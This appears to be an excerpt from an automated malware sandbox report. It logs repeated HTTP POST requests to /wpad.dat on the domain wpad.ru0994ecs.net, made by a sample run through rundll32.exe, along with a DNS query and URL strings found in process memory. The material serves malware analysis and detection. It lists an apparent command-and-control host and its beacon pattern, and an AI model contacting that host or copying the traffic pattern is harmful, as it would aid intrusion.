Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 156Connection: Keep-AliveCache-Control: no-cache

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: wpad.ru0994ecs.net

Source: unknown

HTTP traffic detected: POST /wpad.dat HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0Host: wpad.ru0994ecs.netContent-Length: 540Connection: Keep-AliveCache-Control: no-cache

Source: rundll32.exe, 00000006.00000003.2571721271.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2240042641.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1849817694.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2555312580.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3153234300.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/
Source: rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/(2
Source: rundll32.exe, 00000005.00000002.3212145173.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/5
Source: rundll32.exe, 00000005.00000003.2157934091.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152492975.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2218570353.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2240059294.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2234617944.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2265948419.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2301673720.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2157996645.0000000000E70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/8.
Source: rundll32.exe, 00000005.00000003.1576377162.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.1602107746.0000000000E6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/H
Source: rundll32.exe, 00000006.00000003.2640601207.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2778251951.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3213033341.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2943171228.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2614551292.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3199182399.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696298133.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2824673687.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2420518407.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2588189264.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2896385302.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2752106654.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2840647682.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3126828094.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2571721271.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3153234300.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/P
Source: rundll32.exe, 00000005.00000003.2152492975.0000000000E70000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.2152443796.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/S
Source: rundll32.exe, 00000005.00000003.2851524522.0000000000E6F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3013384977.0000000000E66000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3039330629.0000000000E6E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3100761644.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3212145173.0000000000E64000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.3007397271.0000000000E64000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/X-
Source: rundll32.exe, 00000006.00000003.1710120104.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2352347406.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2640601207.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1437151274.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2778251951.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2296178023.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1539945198.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2085460128.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2614551292.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1977829920.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1756181150.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2023919527.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2059777138.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2696298133.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2473069313.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2824673687.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2420518407.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2588189264.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1941484645.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2896385302.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2368447198.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/a
Source: rundll32.exe, 00000006.00000002.3212461603.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wpad.ru0994ecs.net/e
